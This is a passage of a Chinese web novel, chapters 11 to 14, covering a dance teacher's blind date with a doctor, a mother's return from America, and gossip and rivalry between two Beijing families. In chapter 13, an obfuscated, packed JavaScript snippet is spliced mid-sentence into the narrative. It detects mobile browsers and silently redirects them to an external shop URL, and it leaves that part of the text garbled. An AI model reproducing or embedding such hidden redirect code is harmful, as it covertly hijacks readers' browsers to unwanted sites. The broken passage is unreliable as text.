奶奶干亲家的女孩儿。头次来拜访时,家里叫他们下来打过招呼,后来见过一两次。和一起过来的另一个女孩儿相比,她要规矩的多。毕竟她不像她一样花痴地盯着他,即便她觉得已经很克制,可是那种眼神直白的让人发笑。 家里总是要来很多人,打着各种各样的名义,搭着各种各样的关系。 父母孝顺,并没有同爷奶分开,一家住在一起。家中重礼,但凡有客,必要叫他下去,烦不胜烦,连带着从未好好看过她的样貌。 本来是不重要的人突然闯进视野中,叫他除了不适还是不适。 他眉头揪在一起。如果说比之小学时解不出题目死活不肯罢休的样子,他明显已经自然许多。 想不通可以先不去想。 他在那个晚上将奇怪的感觉扫进不在意的角落,像是清除程序BUG一样。 那肯定不是喜欢。 只是鬼使神差。 并在一次又一次的失控之后告诉自己。 老太太说他一路顺风顺水,谁都看不进眼里,得要栽个跟头才知道教训。 他散漫一笑,浑不在意。 直到今天,他也不晓得这跟头是不是栽在卓繁星身上,可她的确让他印象深刻,以至于时常想起来。 他自认不是个信命的人,然而今天跪在蒲团上的时候还是想让老天做个决定。 万一老天也叫他去见她一面,他又何苦再纠结。 卓繁星实不值当。 他真是这样想的,就像他说的,他自己都没想明白,对她念念不忘的原因。他只知道习惯了,在美国一度他都快把她忘了,可所有的刺激到了顶峰,人变得麻木。有一度习惯性失眠,莫名其妙盯着倪玉城发来的那张选角照。 对、就是莫名其妙。 签是下下签,他不信邪,再求一次还是如此。 签诗: 石沉寒潭水无痕,风叩空门月厌闻。 莫道殷勤能化雪,春山已隔万里云。 老师傅摇头补言:“年轻人,签文说‘空门月厌闻’——你惦念的那位,如今怕是连你名字都懒得知。” 他捋着胡须,说起来头头是道。 “唔,老天爷不是不给答案,是答案早就写在你的不甘心里了。回去吧,把这点念想焙成茶,自己喝了,总好过泼到别人门前,惹一身嫌。” 蒋凌洲定定看着他,直把他看慌了,才冷笑出声。 “什么晦气地方。” 11. 第 11 章 卓繁星接到了Bella的电话,告诉她她的门禁卡被捡回来。 “是那天来家里的客人捡到的。”Amy在旁边说。 “是乐仪哥哥。”Bella强调说明。 “那真是非常感谢,我本来已经打算去补办了。” 卓繁星心不在焉地问:“Bella玩的开心吗?” “一般般吧。Lucas不肯当小孩,一定要当Daddy。我和笑笑都不喜欢他。他还要抢我们的玩具,还有滑梯。我和笑笑讲故事,他还要捣乱。” “还是和乐仪哥哥一起好玩,他很乖。笑笑和Lucas可以当宝宝,笑笑也可以做妈妈。Lucas叫他做家里的小狗吧。” “Bella!”Amy不赞同地打断她。 “他又脏又吵,和喜欢玩泥巴的puppy一样。” Amy将电话接过来。卓繁星问她:“之后几天家中还有客人吗?” “暂时没有听说有这样的安排。” 卓繁星欲盖弥彰道:“我看夫人很重视。” “是的,确实是很重要的客人。不过好像已经离开了。” 卓繁星再同她扯了几句闲话,关心了一番陈女士的身体心情,将电话挂断。 没过几天,邵丽丽有了个新名字,叫Eva。 邵丽丽觉得杰米被人忽悠了,或者干脆他舍不得花钱,随便上网给她找了个英文名,再翻译一下。不是不可能,他自己就叫杰米。 签合同的时候她看过他身份证,明明叫郝大春。 “艾娃,爱娃。”邵丽丽来回的念,问卓繁星:“听着怎么像叫我赶紧生小孩儿呢。我刚流产,几个意思啊,怕我以后生不出来?” 卓繁星刚听到这个名字的时候就没绷住,觉得她这个老板也是人才。 “我以后叫你Eva?” 邵丽丽躺在沙发上翻了个白眼。“爱个鬼,我只爱我自己。” 虽是这样说,但卓繁星知道她还有个妹妹,在临市上大学。 她听见她打过几次电话,说着说着就会吵起来。要和同学去看演唱会,看中了一双小皮靴,同学过生日...... 卓繁星后来有天看见她放在门口要快递员拿的袋子,里面装的就是上次她给她的那款口红。 卓繁星从这些细枝末节里拼凑出她的家庭故事。 隐形的爹妈,吸血的亲妹。 哪个哲人说的,人总是要和更差的比较,才会感受到生活的幸运来。 卓繁星觉得现在的生活很平静。这就很好了。安生太平就好,像先前突如其来冒出来的重逢,一点也不必要。 这天,舞蹈社的课结束。孩子陆陆续续都被接走,到后来就剩了一个女孩儿,平时都是保姆来接。 潘潘的妈妈今天过生日,她拜托了卓繁星就急着往家赶。 “保姆回老家了,今天她爸爸来接,应该马上就到了,繁星姐拜托你啦。” 卓繁星叫她赶紧去吧,把嘉嘉领到活动室。原本以为至多等半个小时,没想到临近下班,家长还是没过来。 晚上没课,阿姨打扫完卫生,前台值班的小姑娘检查完出来,看见她们还坐着。 “还没来接吗?” “嗯,家长电话没接。” “那怎么办?” “你下班吧。我带她去吃个饭,顺便等她爸爸。” 卓繁星换完衣服出来,给赵医生发了条信息说了情况,要晚一点才能到,让他别等她,先吃饭。 那边很快回过来,让她别急,他在医院也有点事要处理。 卓繁星知道是安慰的话,如果真的有事,又怎么会回的这么快。 她带着嘉嘉出了舞蹈社,问她要吃什么? 嘉嘉说:“什么都可以吗?” “你想吃什么?”卓繁星又问了一遍。 终究是小孩子,忍不住还是指了指电梯里贴着的肯德基广告,可繁星不能带她去吃,现在孩子养的精心,她带着去吃垃圾食品,怕家长介意。 遭到了拒绝,嘉嘉果然非常失落。繁星摸了摸她的脑袋说:“老师给你买个华夫饼,但是要吃了晚饭才能吃,好不好?” 她立刻绽放一个大大的笑容,眼睛亮晶晶地看着她:“好。” 卓繁星在甜品站点了块华夫饼,期间又打了个电话,那边还是没接,她压了下心口的气,牵着孩子进了一家馄饨店。 吃到一半,嘉嘉的手表来电话了。繁星听见她喊了声爸爸,那头声音急的不行。她凑上去说:“嘉嘉爸爸,我是嘉嘉的舞蹈老师,她现在跟我在一起。”她把地址说了,“我之前给你手机打过电话,那个就是我的电话。” 那头说:“不好意思,事情耽搁了,我马上过来。” 半个小时后,走进来一个穿着西装的年轻男人。 嘉嘉喊道:“爸爸。” 卓繁星扭头看过去,男人额头上都是汗,估计是跑过来的。 “不好意思,实在是不好意思。”他抱着女儿,一连道歉。 卓繁星淡淡道:“没事,那嘉嘉就交给你了,我有点事先走了。” 他看了一眼桌上的汤碗和蒸笼,边上还有个肯德基的袋子,说:“你要去哪儿?麻烦你这么久,我送你吧。” “不用了,我坐地铁比较快。”她留意到他的视线,解释道:“有点晚了,我怕孩子饿,给她点了馄饨和烧麦,肯德基里面的是华夫饼,还没吃。” “麻烦你了,谢谢,多少钱,我付给你。” 卓繁星摇头:“不用了,我也吃了点。”想了想还是说:“下次还是早一点,孩子等着不好。” “我知道了,下次一定准时来接,实在不好意思。” 卓繁星颔首,对自从爸爸来了就抱着爸爸脖子不放的小姑娘说:“嘉嘉再见,老师先走了。” 嘉嘉甜甜地说:“卓老师再见。” 等人出去了,齐帆把女儿放下来,她穿着外套,头发扎了两根小辫子别在耳朵后面。他摸了摸她的头发,她躲开:“爸爸不要动,卓老师给我扎的。” 最近李妈女儿结婚,她回了老家,家里的事全乱了套,连给女儿扎头发都成了难题。 “爸爸,你怎么才来?”嘉嘉抱怨。 齐帆:“爸爸说对不起,下次不会了,好不好?”下午临时开了会,手机静音了,等结束的时候一看时间,已经要六点了。 嘉嘉很大度的没计较,转而关心道:“爸爸你吃饭了吗?” “还没。” “那你吃吧,这个很好吃。”她指了指桌上的食物。 桌上还剩了大半笼烧麦,齐帆问她:“宝贝吃饱了吗?要不要再吃点?” “我不吃了。”她摇摇头,小辫子一晃一晃的,“我要吃卓老师给我买的华夫饼。卓老师说吃完饭了才能吃。” 齐帆笑了下,摸了摸孩子的脸:“在家怎么没见你这么听话?” 卓繁星赶到餐厅的时候,赵医生已经在包厢等着了。她跟着服务生上了二楼,到了包厢门口,帘子拉开,看见他马上站起来。 赵医生全名叫赵朔,带着眼镜,个子不算高,但挺瘦。他面相斯文,穿了身灰色西装,条纹领带系的一丝不苟,看得出很重视这次的约会。 点完餐,服务员退出去。 卓繁星先道了歉,他赶紧说没事。 这家餐厅是Y城上半年开的网红餐厅,装修风格古朴,走的是古风设计。整体细长,像巷子一样,里面的光线不亮敞,像是烛光。餐厅里放着轻缓的古筝曲子,每个小包厢都用一块暗红色的窗帘围着,偶尔还能听见窸窸窣窣的说话声。 赵朔挑地方的时候明显费了心思,两个刚认识的男女,这样的场合既显得私密又不会太过封闭,从而给女方带来压力。 “我是跟同事来过一次,觉得不错。” 卓繁星发现他有些羞涩,讷于言,这反而让她放松了下来。 点的沙拉很快上来了,他问服务员要了热水,把两人的碗筷都一一烫过。 “其实这消不了毒,温度不够,但是习惯了。”他边动作边解释,带着些严谨的意味。 卓繁星说:“是个好习惯。” 赵朔笑了下:“快吃吧。” 卓繁星不知道赵朔是不是本来就不是个多话的人,还是因为今天是第一次见面所以话少。 单刀直入未免太破坏气氛。 谈及对婚姻的看法的时候,赵朔有些羞涩又很认真地回答:“我觉得感觉还是很重要,总是要找一个自己喜欢的。你呢?会着急吗?”感觉说错话了,他局促地笑了一下。“我们科 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赵朔走在她外侧,微微侧着身替她挡风。期间他偷偷觑了一眼身边的人,她正抬手撩了下滑落的头发,白皮肤巴掌脸,气质又像山上的积雪自带清冷感。初初他只是有些意动,如今更是喜欢。 “赵医生不用送我了,我坐地铁四站就到了。” “实在抱歉,耽误你时间了。刚刚的饭钱我转你啦,希望你一定要收下。”她的话语清淡,但不缺诚恳。眼眸微弯,是恰到好处的礼貌。 赵朔觉得自己心跳地越发厉害,有些话堵在喉咙眼,不能不说。 “如果,我说我不介意,我们能,能再接触吗?” 换卓繁星愣住了。 “你家里......” “我爸妈很开明的。你说的这个问题,其实按理论来说,并不会影响到正常生活。”他越说越快,也越说越热,像是站在了那一串灯管下面。 “是这样的。”他强调。 “我年纪不小了,工作也很忙。你不知道我们医生工作压力大,生活不规律,有很多慢性病的,身体很多也不健康,有很多很严重的,比方说心脏方面......” 他越说越离谱,卓繁星噗嗤一声笑出来。就好像雪化了。赵医生瞬间宕机,抹了一把潮湿的额头,偏头也笑出来。 一阵风吹来,繁星拢了拢外套。 “先上车吧。我送你。”他自然许多,打开副驾车门。 “谢谢。”卓繁星笑着同他道谢。 既为那句话,更为他的善良。 接下来的路程明显轻松许多,他开过沿路的街景,告诉她这是他的中学学校,又问她中学在哪里读的。 “京市附中。” 他明显愣了下。“很好的学校啊。” “我那时候在外婆家。” 赵朔听说过,她家里一些简单的情况姨妈还是讲了的。 柿子太重,赵朔把车子开到了租房楼下,本来还想帮忙搬到电梯里,刚好邵丽丽回来搭了把手。 告别后,邵丽丽怼了怼卓繁星的肩膀。 “有情况。”看样子两个人还不熟呢。“做什么工作的?” “医生。” “不错呀。长得也还行。” 两个人一起抱着泡沫箱子进了门,邵丽丽累的喘气。“也太实诚了,送这么多。” “不是他送的,是我爸托他带来的。”卓繁星跑卫生间拿了拖把,把地板上的痕迹拖干净。 邵丽丽看着她的动作,突然一笑。“我发现你有洁癖,和医生还挺搭的。” “他明显对你有意思。考不考虑?” 卓繁星不回答,拖完地洗澡去了。 赵朔发来信息: 【已经到家了。今天晚上很开心。】 【下周二有半天休息,要回镇上,如果你也要回去,我们可以一起过去。】 卓繁星擦着头发,看着屏幕上的文字。 【好的。今天晚上我也很开心,谢谢。】 卓繁星觉得自己的心情有些复杂。迷茫和怅惘的同时,还有隐隐的雀跃。 她很确信自己对他没有心动的感觉,可不妨碍有和他继续接触的想法。 翁乐仪只是一个梦呀。 12. 第 12 章 京市机场 蒋濯衣今日落地,方下飞机,便见儿子拿着一束蓝百合等在通道外。 黑色毛呢西装,灰色西裤,里面是一件圆领卡其色薄绒衫,窄瘦的脸上眉毛很久没修过,杂乱而黑,压在漂亮的眼睛上。 蒋濯衣欣赏了一番,给他把被风吹乱的头发理了理。 翁乐仪接过她的行李车,她把包里的毛线帽和手套拿出来。 “我近来迷恋针织,这是我自己织的。” 深蓝色的毛线帽还算正常,翁乐仪没什么反抗地戴了起来。至于手套,他收起来,不是特别习惯带。 “我和姚馨雅一个航班。”顺着儿子的视线,蒋濯衣随口道。 姚馨雅同丈夫一起回来,一道推着行李车,从他二人身边经过。 蒋濯衣问他:“你自己开车来的?” “是。” “就该这样。你爸爸总是死板的很,你只是断了条腿又不是瘫了。”她挽着他,一头黑色的长卷发,白毛衣牛仔裤。两人走在一起,不像母子,更像姐弟。 上车的时候,她看见他的那条腿还是不大灵活,说道:“瑞士有家康复医院不错,环境也好,你可以去休息一段时间,就当度假,我可以一起过去,在那里陪你。抽个时间吧。” 翁乐仪近期没有出国的计划,可是他们很久没见了,他不想一上来就拒绝她。 “好,我回去看看行程。” 翁廷川打来电话,车子屏幕上显示出来。 翁乐仪看了眼妈妈,她淡淡睨一眼,直接按了接听。 “你妈妈接到了吗?”那边的人似乎刚从会议中脱身,背景还能听见问候的人声。 “我到了。” 听见蒋濯衣的声音,他反倒顿了片刻。“知道了,好好休息。” 电话挂断,窗外拥挤的车流,让车子从地下开出来后如蜗牛一样缓缓行进。 “乐仪,妈妈想要抽烟。” 翁乐仪将窗户放下一条缝隙。 “要来一根么。”蒋濯衣翻出银盒,漂亮的手指伸到他面前。 “不了,我在开车。” “车子又不动。” 他还是摇头。“算了吧。”她脱了鞋子,盘腿坐在位置上,点燃的烟雾丝丝缕缕地从窗缝中飘出去。 车里有一段静默,翁乐仪有些后悔拒绝了她的烟。 妈妈和他相处不多,这或许就是她示好的方式。 他又看了一眼她,微卷的长发像海藻一样,她看着窗外,侧脸光滑紧致,上唇微翘,倔强冷清,这种感觉弱化了年纪。不过她本来就是随性自由之人,年龄的框架原本就约束不了她。 “Frank还好吗?” “嗯?”蒋濯衣像是在想事情,愣了下,把唇上的烟头取下,随口道:“我和他分手了。算是分手吧,起码我们默认对方可以再找新的对象。你知道的,我年初的时候搬到了圣地亚哥,他还住在布鲁克林。” 翁乐仪对她的情史并不感兴趣,只是为了破冰,所以问完后只能干巴巴地回了一个哦字。 可是很显然,蒋濯衣很乐意同他探讨这一类的情感问题。 “宝宝。你有恋爱吗?” 她甚至用上了宝宝,这个小时候的称呼,想让自己看起来更亲近一些。 翁乐仪沉默。 “那有喜欢的人吗?” 翁乐仪看了她一眼。“妈妈......” “宝宝,你该不会还是处男吧。” “......” 怎么形容这样的场面呢。 翁乐仪看着他依旧风华绝代的母亲陷入了短暂的呆滞,然后迅速地红了耳朵。 他有种中学时第一次上生理课的感觉。 蒋濯衣漂亮地眼睛眨了眨,尽量稳重地开口:“虽然爱情有时候让人觉得是一种侵犯,但也不失为一种人生体验。” “我现在回想起当年和你爸爸的那些事,看见我写的日记,还是会心动。我们两个牵着手跑出舞会,在桥上,天很冷,呼出去的空气都是白雾,可我一点都不觉得冷,停下来的时候就更热了。我捧着他的脸,和他接吻。那真的很美妙。” 她冷清的声音里添了温柔的笑意。翁乐仪扶着方向盘,让自己看起来在认真驾驶。 “宝宝。” 他无奈打断。“我们可以不聊这个话题了么。” “好吧,当然可以。”蒋濯衣耸耸肩,继续去抽她的烟。 翁乐仪直接将车开到蒋家。这几日因为姥姥寿宴,家中常有客人来往。不过这时已近晚饭时候,客人都已离开。 二老近两年身体一直不好,姥姥去年做了心脏搭桥,又有多年的糖尿病。家里小辈不着家,二人呆在京郊的疗养院居多。如今蒋凌洲回来了,又近年底,就打算搬回来住到过年。 翁乐仪进门的时候,秦老太太正问:“乐仪怎么还没来?” “这不就来了。”舅妈俞秋华耳朵灵,听见车子进院了。 蒋濯衣的行李交给保姆,翁乐仪同她一起进去,她手上拿着翁乐仪接机时的花。两个人一起出现在客厅,叫秦老太太看的心花怒放。 “哎呀,哎呀,快过来,坐到我跟前来。”秦老太太朝他招手。 “坐我这儿。”蒋凌洲赶紧起来腾位置。 “你别动,我话还没问完呢。”秦老太太拉着他衣服,另一只手去牵女儿。 “乐仪去接你的?” “您不是都瞧见了。”蒋濯衣笑的无奈。 “我再问问就不行了?你说你,一年到头也回来不了几次。” “坐飞机我头疼。” “那你就多呆几天。你嫂子给你屋子都收拾的干干净净的,好好陪陪我和你爸爸。” 蒋濯衣是秦老太太掌上明珠,俞秋白自嫁进来就见识到了这位姑奶奶的分量,一路看着她嫁出去,后来干脆离婚跑国外逍遥去。虽说她离经叛道,但谁不羡慕她命好。这是家里托着底儿,有底气才能这样肆意妄为。 这才是老太太心尖儿上的人,旁的干女儿,不知道凑什么热闹。 她扫了眼老太太边上的徐凤。她正和蒋濯衣打招呼,说:“二十三号晚上灵均订婚宴,是,是,二十七岁......见你回来了,不是正赶上了......你一定要来,这丫头小时候你还抱过她......是啊,一转眼就这么大了。” 蒋濯衣道:“怪不得我在飞机上碰见姚馨雅了。” “什么?”徐凤愣了下,很快又掩饰过去。“是,她也说是今天到。” 蒋濯衣看出她脸上的不自然,扭头对老太太问:“妈要揪着凌州说什么?” “两个大小伙子又帅又能干,还是干妈有福气,我家里那个讨债鬼,我见了就怕。”徐凤看一眼秦老太太身边的蒋凌州和翁乐仪,夸的真心实意。 老太太笑的合不拢嘴,谦虚道:“哪儿有。还是女娃贴心。男孩儿一年都见不了几次。问个话还推三阻四,不想叫我知道。” 蒋凌州求饶。 俞秋华浅浅笑了下,把翁乐仪拉到自己这边:“你坐我这儿,舅妈去看厨房看看菜,我特意让陈姐煮了羊肉汤,挑的小羊羔膻味少,你等下得多吃点儿。” “对对对,我也去看看。”徐凤跟着起来。 “你快坐着,你是客人,怎么能让你去,我去就行。”俞秋华把人拦着没让跟,三两步出了客厅,喊了声:“陈姐。” 徐凤讪讪坐下来,她跟俞秋华的关系本来就不咋样,当年灿灿和她家儿子的事,更是叫人尴尬。这些年她看她鼻子不是鼻子眼睛不是眼睛的。 她也冤啊,她又不是故意挑今天来的,就是来送个婚帖,哪想到碰上她家中聚会。 蒋濯衣打了个哈欠,说:“你们聊,我先上去换身衣服。” “快去吧,好好休息一下,十几个小时飞过来肯定是累了。”老太太拍了拍她的背,心疼道。 翁乐仪问:“外公呢?” “是啊,我爸呢?”蒋濯衣走到电梯那儿了还回过来一句。 老太太无奈笑她:“现在才想起来。吴校长给他打电话,在书房呢。” “那我去吓他一跳。” “你瞧瞧你妈。” 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徐凤赶紧接道:“瞎说瞎说,哪里看不见,你和干爹还要带孙子呢。” “我也想带孙子呀,可现在孙媳妇都没影儿。”老太太挤兑蒋凌洲。 蒋凌洲求饶:“奶奶,真没到那时候。” “怎么没到,你就是不让我见真人,那照片总有吧。再说我听你-妈讲谈了有四年了,也不短了。要不是小陈给你理行李的时候,说看见张照片,我还不知道这事儿。” “照片?”翁乐仪在边上问。 老太太笑:“可不是嘛,上面是个跳舞的小姑娘。” 蒋凌洲微不可见地皱了下眉,抱着她晃了晃:“行了,行了,给你看照片行了吧,您老说什么就是什么。” 老太太满意了:“你知道就好。”刚好老爷子拄着拐杖从房间里出来,她赶紧告诉他:“你来的正好,我总算从这混小子手里把照片给套出来了,你快过来看。” 翁乐仪刚起来,徐凤已经走过去扶人了。 “正赶上了,快拿出来瞧瞧。” 蒋凌洲掏出手机翻到林灿的ins,她不常用微信,朋友圈里没照片。 俞秋华从厨房出来的时候,正看见一堆人围在一起。自家儿子在中间,旁边两个老人,外甥和徐凤也都伸着脖子。 “看什么呢?” “你媳妇儿。”老太太说。 “哦。”俞秋华应了一声,没太激动,她之前碰见过一次。不太满意,家世什么的另说,不过想着年轻人兴致来的快去的也快,未必能成。管的多了,反而不好……只是没想到处了这么久。 “长头发,瓜子脸,真漂亮。”蒋凌洲挑了张林灿最近发的,她穿了件红色毛衣和牛仔裤,背后是夕阳下的哈德逊河。 “是中国姑娘吗?华裔?”老太太问。 蒋凌洲点了点头,想把手机收起来。老太太拦着不让:“再看几张呀。” “人都瞧见了,不都一样。”蒋凌洲直接把界面一关,老太太恼的打了他两下。 “什么职业,几岁了?”老爷子明显更关心这个。 老太太听了也马上转移了目标:“对啊,看着年轻,不会还在念书吧。” 蒋凌洲无奈:“您别问了,结婚早着呢,我想都没想过。” 老太太:“你该想了,都要三十了。” 俞秋华却被儿子那话说的熨贴,上去解围道:“妈,他那是不好意思了。” 老爷子见翁乐仪笑,在背后给了他一巴掌。“你也抓点紧,二十七岁的人了,影子都没一个。” “是啊,爷奶操心我不如操心他。”蒋凌州喘了口气,使坏。 老爷子下命令了。“今年,今年一定要找好!” 老太太凑上来。“你前阵子说李院长那边有个丫头,研究生,漂亮又能干。后来怎么没动静了......你也得给孩子抓点紧呀.....约呀,把人约到家里来......这次我碰到他我肯定要问他......” 翁乐仪拿了一颗干桂圆扔到蒋凌州脸上。 13. 第 13 章 徐凤回了家,一进门就把包甩在沙发上。 “爸妈都睡了?” “睡了,主任也才回来没多久。” 郑妈今年才到姚家来,原先那个佣人年纪大了,儿子结婚出息了就把她接了回去,走前只带了她一个礼拜。里头各人的关系喜好,形形色色还要靠她自己摸索。 几个月下来,这家里头谁脾气最大,不用说,就是眼前这位,所以每次碰上,她都得提着心。刚刚眼瞅着几个动作,再想到去的是蒋家,就知道不好。 “水烧着,姐,我去给你弄点汤药泡泡脚?”姚家不兴什么太太老爷的讲法,可直呼其名就更不行了,对着两个老人就叫叔叔,阿姨,对着姚国平就称官职,对着徐凤她就按她们那儿的叫法喊她姐。 “去吧,给我端楼上去。”她说着往楼梯上走,“真是累死我了。” 进了门,丈夫姚国平坐在床头,带着眼镜刷手机,见她进来,抬了下眼:“回来了?” “你今天结束的比我还早?”她坐到床上,凑过去:“没喝酒啊?” “喝了,就一点,我们部门新招的年轻人比我能喝。”他看了她一眼,把手机放下。“怎么了?不是去送帖子吗?” “是送帖子。今天濯衣回来,乐仪去接的,家里一道吃饭,俞秋白顶不乐意我在。” “呦。”他把眼镜摘了。“怎么就这么不凑巧。” “要不说呢。老太太一定要留我吃饭,我又不是天天上她家去。” “馨雅回来了跟你打招呼没?” 姚国平果然也是一懵。“没听她说呀。先前你问她,她不是来不了。” “濯衣说一趟航班,和她老公一道回来的。你说她回来怎么不跟咱们说一声?她今天就到了,也不住家里来。” “家里地方小。她要是回来得住灵均那屋吧,不舒坦。” “那也该说一声。”徐凤不乐意。 “也许是太晚了,明天说不定就过来了。她疼灵均从小疼到大,原先说有画展,现在估计是推了都要赶回来。这还有什么好说的,你别想太多。” “她是疼灵均的。”徐凤心里的气平下去。 “那灿灿那儿?” 徐凤古怪地看了他一眼。 姚国平说:“我前两天碰见凌州了。他跟我打听灿灿呢。” 徐凤两只眼睛瞪的跟铜铃一样,听他说:“拐着弯儿问我呢,我一听就听出来了。” 她听得眉头皱起来。 姚国平颇有些得意,“我就说之前也没把我这个干舅舅放眼里,结果那天主动跟我打招呼,还拉着我讲话。”他两条眉毛扬起来,声音都往上走。 徐凤品了品他嘴里的话,上下扫了他一眼,然后揪着他耳朵就是一拧。 “你可拉倒吧姚国平,你知不知道我今天在蒋家看见什么了?” “看见什么了?”他摸着耳朵,疼的嘶嘶。 “人凌洲早就有女朋友了,在美国已经谈了四年了。今儿老太太死活要看照片,我就在边上,那照片放出来,漂亮的不行。什么跟你打听灿灿,人早把灿灿忘天边儿去了,就你还在那儿白日做梦。要不是我今天亲眼看见亲眼听见了,我还真信了你?” 她扭过去不理他了。郑妈进来送了水又出去,他在那里嘀咕:“不可能啊?” “不可能个屁,你就别打你那些个小九九了,就算凌洲真还惦记着灿灿,那也跟你没关系,她姓卓呢,早不是你们老姚家的人了。” “你,你这是说的什么话?” “人话。” “馨雅都回来了。” “你见她提过这个女儿?要不咱打个赌,你看着吧。”徐凤说的笃定。 次日,姚馨雅果然是带着老公回来了。徐凤装作不知道,问她什么时候回来的,怎么不住家里来。得知住在半岛酒店,道:“浪费这些钱做什么。” 那里一晚上随便一间房都要上千块,她肯定不会选低档的,几天下来几万块就去掉了。 她看了看她手里的戒指,手腕上的手表,随便放在沙发上的包,心里发酸,她就买过一只几万块的lv,还是出国的时候捡漏买的。 姚馨雅把准备的礼物拿出来,她立刻又开心了。 “这条大衣好,我刚好干妈过寿那天穿。” 洋鬼子说两句,婆婆就看她。“这说什么呢?” “我怎么知道,我也不会英文啊。” 姚馨雅说:“他说您手巧,说您这是艺术。” 老太太立马笑的开怀,举着手里的针线说:“艺术?我哪儿当得起艺术,我就勾个买菜包。迪,迪克是吧,你人真好,真会说话。” 晚上,姚灵均过来,姚馨雅给她备了一套卡地亚的首饰。徐凤下午就见了,跟她说:“你姑疼你,你得记在心里。” “我知道呀,我姑对我最好了。”她趴在姚馨雅身上,姚馨雅摸了摸她脑袋。 一家其乐融融。姚国平把家里的茅台拿了出来,迪克好酒,两个人喝的红光满面,喉咙梆梆响。 姚灵均喝了口椰汁,叫姚馨雅:“姑。” “嗯?”迪克一激动,把酒杯打翻了,姚馨雅赶紧过去扶他。 姚灵均吃了两口菜,又听他们扯了几分钟闲篇儿,又喊她:“姑。” 这下没人打扰了。姚馨雅转过来看她。 “灿灿。”她扯着桌布。“灿灿在Y市呢。” 她就见着她脸上的笑容一点没变,还是温柔可亲的样子。 “我给她也带了点东西,你帮我寄过去。” 她又去照顾她老公了,那个秃头洋鬼子,喝的面红耳赤,抓着她的手,英文单词一个一个往外蹦。 姚灵均懵懵看着她们。徐凤问:“看什么呢?” “没看什么。”她皱着脸,凶起来。“你叫我爸少喝点,还有别劝着人家喝。” “难得高兴。”徐凤根本不理她。 ...... 秦老太太寿宴那天,姚家集体出动,一家人就占去半张桌子。 应酬起来,徐凤总是很亲近地说:“老太太是我干妈啦。”敬酒的时候也是要拉着丈夫和女儿一道上去。 姚国平书生意气,对这些谄媚逢迎的事很不喜欢。“没见着都排队呢,咱们就别去凑热闹了。” 主桌上还坐了三个大领导,敬酒根本不停的。 “这叫凑热闹?这是礼节!咱们做小辈的就该过去。我真是跟你多废话。”徐凤眉毛一竖,把酒杯往他手上一推,就拉着人起来。 “灵均呢?” “上厕所去了。” “你女儿跟你一个德行。”徐凤是恨铁不成钢啊,一大把年纪了还要拽着这两个没用的东西。 她生怕挤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067317|195168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不进去,在外面就提高嗓子喊:“干妈,干女儿干女婿给你敬酒来了。” 俞秋华见了她头痛,眼光一瞥看见妹夫翁廷川走过来,急忙起身道:“廷川来了。” 翁廷川到了跟前先跟长辈和几个领导致歉。五十三岁的年纪,样貌堂堂,穿着正装,气派的不得了,身材一点也没有发福,白头发都好看。再看看周围,哪个同年龄的有他这样的气度。 徐凤暗暗咂嘴,难怪馨雅惦记。那个秃头洋鬼子比都不好比的呀。要是和他在一起,人有了,钱也有了,这才叫人生赢家。 他在蒋濯衣身边坐下。 哎呦,她一秒清醒,还好馨雅是做梦。她还是要脸的,要是他们两个成了,她都不好意思去见干妈了。 被念叨“没用的东西”之一的姚灵均从卫生间里磨磨蹭蹭地出来,穿了一件蓝衬衫,卡其色裤子,德训鞋。普普通通,毫无亮点。 这副样子到的时候被徐凤已经说过一通了。 她也不想想,她今天在学校布置美术展,穿条裙子多不方便。 酒店年代久了,京市传统点人家都喜欢在这里办宴席,说出去顶有面子。之前一个老师婚宴就是在这里办的,大家都知道她嫁的不一般啦。其中一张婚纱照,裙摆拖出去近十米长,整个楼梯都被覆盖了,拍照的位置就是她现在站的地方。 她拍了照给胡昊天,那边没动静。他去美国出差,估计还没醒。 她发给灿灿,又撤回。 那边很快发了个问号过来。她想想自己太敏感了啦,发过去问她。“这里拍婚纱照怎么样?” “好看呀。婚纱选了吗?” “没有啦,还没订婚,早着呢。” 她和她吐槽最近看房子的事。徐凤想买在他们那个区,可是房价太高,凡是看中的都超预算。两三次下来,胡昊天家里不怎么开心。 “你是知道我妈性格的,家里老大做惯了,命令起人来,厉害的不得了。我夹在中间,好尴尬的。” “最近房子不是跌了么。” “京市这种地方不怎么会跌的啦。我看网上分析,以后买房就要买在大城市里,核心区域只会越来越紧俏。” 卓繁星叫她讲的一愣,可随即一想,那里的房子她也要买的起啊。她就想要个自己的小房子,偏一点又没关系。 姚灵均低着头打字,不想有人叫她,她循声看去,人也僵住了。 许筠坐在红色的绒布沙发上,笑着和她打招呼。 她穿了一件香槟色的长裙,脖子上自带的领带被随意挽了个结。手上带了一只漂亮的女士腕表,特别简约,脸上画着淡妆,头发盘起来,自带贵气和知性。 “你好。”姚灵均感觉自己肯定笑的很假。 “怎么这么客气。”她失笑。“我刚刚看着是你,清华还说不是。” 刘清华笑道:“女大十八变么。你瘦了好多。” 姚灵均呵呵一下。 许筠说:“好久没见,听说你要订婚了,恭喜呀。” 姚灵均点点头:“谢谢。我先过去了。” 刘清华看着她的背影说:“她怎么见了我们跟见了鬼一样。” 陈跃白他一眼,站起来。“我去抽根烟。” “我也去。” “我去拉屎。” 刘清华猛推他一把,他笑兮兮地走了。 14. 第 14 章 电话一接起来,卓繁星就听见呜呜的哭声。 姚灵均哭起来的时候像打嗝,听这个动静应该已经哭了有一会儿了。 “灵均。” “灿灿。怎么办?我出轨了。”这几个字还是超出了她的承受能力,她哇的一声大哭出来。“怎么办?” 信息量太大,卓繁星好生消化了两秒钟。 “你现在在哪儿?” “我在胡昊天公寓,他出差了,不在家。” “好的。”她放心了一大半。“我没听清。是你出轨了还是他出轨了?” “他敢!我打死他。” “......” 繁星搁下包,把外套也脱了。“所以到底什么情况?你出轨谁了?” 那边一下不讲话了,要不是还能听见她吸鼻涕的声音,她都要以为她挂电话了。 “.....陈跃。” 弱弱的声音响起来,卓繁星一口水呛进喉咙里,咳的撕心裂肺。 